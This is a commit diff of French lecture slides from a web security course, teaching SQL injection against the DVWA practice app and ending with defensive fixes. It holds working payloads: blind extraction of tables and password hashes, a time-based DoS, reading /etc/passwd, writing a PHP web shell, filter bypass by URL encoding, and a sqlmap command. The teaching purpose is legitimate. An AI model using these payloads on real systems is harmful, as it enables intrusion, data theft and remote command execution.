Skip to content
Snippets Groups Projects
Commit 655ba0f0 authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

SQLi

parent 924c40b2
No related branches found
No related tags found
No related merge requests found
Pipeline #11390 failed
......@@ -18,7 +18,7 @@
### <i class="fas fa-ice-cream"></i> SQLi / types
* [topologie](https://www.linkedin.com/grp/post/36874-130061102)
* [topologie](https://www.imperva.com/learn/application-security/sql-injection-sqli/#:~:text=SQL%20injections%20typically%20fall%20under,data%20and%20their%20damage%20potential)
* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
* cas simple où les messages d'erreur base de données sont affichés
......@@ -175,7 +175,7 @@ User ID: 6 ... #
### <i class="fa-solid fa-bomb"></i> SQLi / high
Toutes la séquence SQLi / low est valide
Toute la séquence SQLi / low est valide
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
......@@ -251,148 +251,137 @@ déterminer le nom de la base de données
```
## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
* DoS
* utile pour les vraies blind SQLi
déterminer le nom de la table
```
1' AND ORD(MID((SELECT table_name
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g
```
## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)
déterminer le nombre de colonne de la table users
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit
```
1' AND ORD(MID((SELECT COUNT(column_name)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8
```
affiche toutes le contenu du fichier /etc/passwd
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
écriture du fichier shell.php dans le système de fichiers
déterminer le nom des colonnes de la table users
```http
http://dv.wa/hackable/uploads/shell.php?cmd=ls
```
execution de commandes systèmes avec les privilèges du thread apache
1' AND ORD(MID((SELECT column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p
```
## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
déterminer le hash d'un user
<i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium
```
1' AND ORD(MID((SELECT password FROM dvwa.users
WHERE user='Pablo'),1,1)) = 48 # 0
```
* utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
* ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a.
* contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés
### <i class="fa-solid fa-bomb"></i> Blind SQLi / medium
## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
reprendre les étapes Blind SQLi / low en remplacant
```http
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
```
User ID: 1' ... #
```
devient
<i class="fa-solid fa-arrow-right-arrow-left"></i>
```http
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
```
User ID: 1 ... #
```
<small>
## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
`table_schema='dvwa'`
donc l'injection du niveau low
<i class="fa-solid fa-arrow-right-arrow-left"></i>
```http
' OR user_id > 0#
```
`table_schema=0x64767761`
</small>
devient pour fonctionner au niveau medium
```http
1 OR user_id > 0#
```
devient une fois encodée
### <i class="fa-solid fa-bomb"></i> Blind SQLi / high
```http
1%20OR%20user_id%20%3E%200
```
Toute la séquence Blind SQLi / low est valide
et s'injecte directement via l'url
```http
http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit
```
### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
Note:
- à saisir directement dans l'url
- utiliser plutôt l'encoder de burp
- sinon hackbar à comparer
- https://www.information-security.fr/dvwa-sql-injection-solutions-protections/
* Si aucun output n'est disponible
* on ajoute du calcul artificiellement
* la **payload** est exécutée
* le temps de réponse = temps de traitement + temps de calcul artificiel
* la **payload** n'est pas exécutée
* le temps de réponse = temps de traitement
problématique similaire à une booléenne
## [SQLmap](http://sqlmap.org/)
* Fait tous le boulot à votre palce
* une ligne de commmande
* affiche des résultats propres
* abstrait
* le moteur de base de données
* les différentes techniques d'injections
### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
```http
sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables
```
User ID: 1' AND 1=0 UNION SELECT NULL,
benchmark(5000000, encode('MSG', 'pass-phrase'))
FROM users #
```
<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session
* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
* DoS
* utile pour les **True Blind SQLi** ou **Time Based**
### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/)
### <i class="fa-solid fa-bomb"></i> SQLi / Low
* on se concentre sur le user 1337 (id=3)
* on cherche à deviner son mot de passe
<i class="fa-solid fa-triangle-exclamation"></i> sous certaines conditions
```http
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit
```
n'affiche rien!! en revanche
```http
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit
User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") #
```
affiche
affiche tout le contenu du fichier /etc/passwd
```
ID: 3' AND password LIKE '8%
First name: Hack
Surname: Me
User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>"
INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" #
```
écrit le fichier shell.php dans le système de fichiers
## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection)
* Si aucun output n'est disponible
* on ajoute du calcul artificiellement
* la **payload** est exécutée
* le temps de réponse = temps de traitement + temps de calcul artificiel
* la **payload** n'est pas exécutée
* le temps de réponse = temps de traitement
## <i class="fa-solid fa-screwdriver-wrench"></i> [SQLmap](http://sqlmap.org/)
problématique similaire à une booléenne
* Fait tous le boulot à votre palce
* en ligne de commmande
* affiche des résultats propres
* abstrait
* le moteur de base de données
* les différentes techniques d'injections
Note:
- discussion sur les vraies blind
- in fine même problème une fois scripter
```http
sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= #;"
--cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low"
--tables
```
<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa fa-medkit"></i> SQLi / Fix
* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
* Utiliser des requêtes préparées
......@@ -400,13 +389,13 @@ Note:
* Être le plus silencieux possibles quant aux requêtes invalides
* [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
* [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
* repérer les requêtes suspectes dans les logs
* Repérer les requêtes suspectes dans les logs
Note:
- TODO regarder si les messages sont désactiables à partir de MySQL
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa fa-medkit"></i> SQLi / Fix
* Filtrage par listes blanches
* caster
......@@ -416,12 +405,11 @@ Note:
* [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa fa-medkit"></i> SQLi / Fix
* Web Application Firewall (WAF)
* [mod_security](https://www.modsecurity.org/)
* log le POST
* <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* <i class="fas fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* Les privilèges de l'utilisateur SQL ont un sens
* [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
* attention aux permissions sur la base de données
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment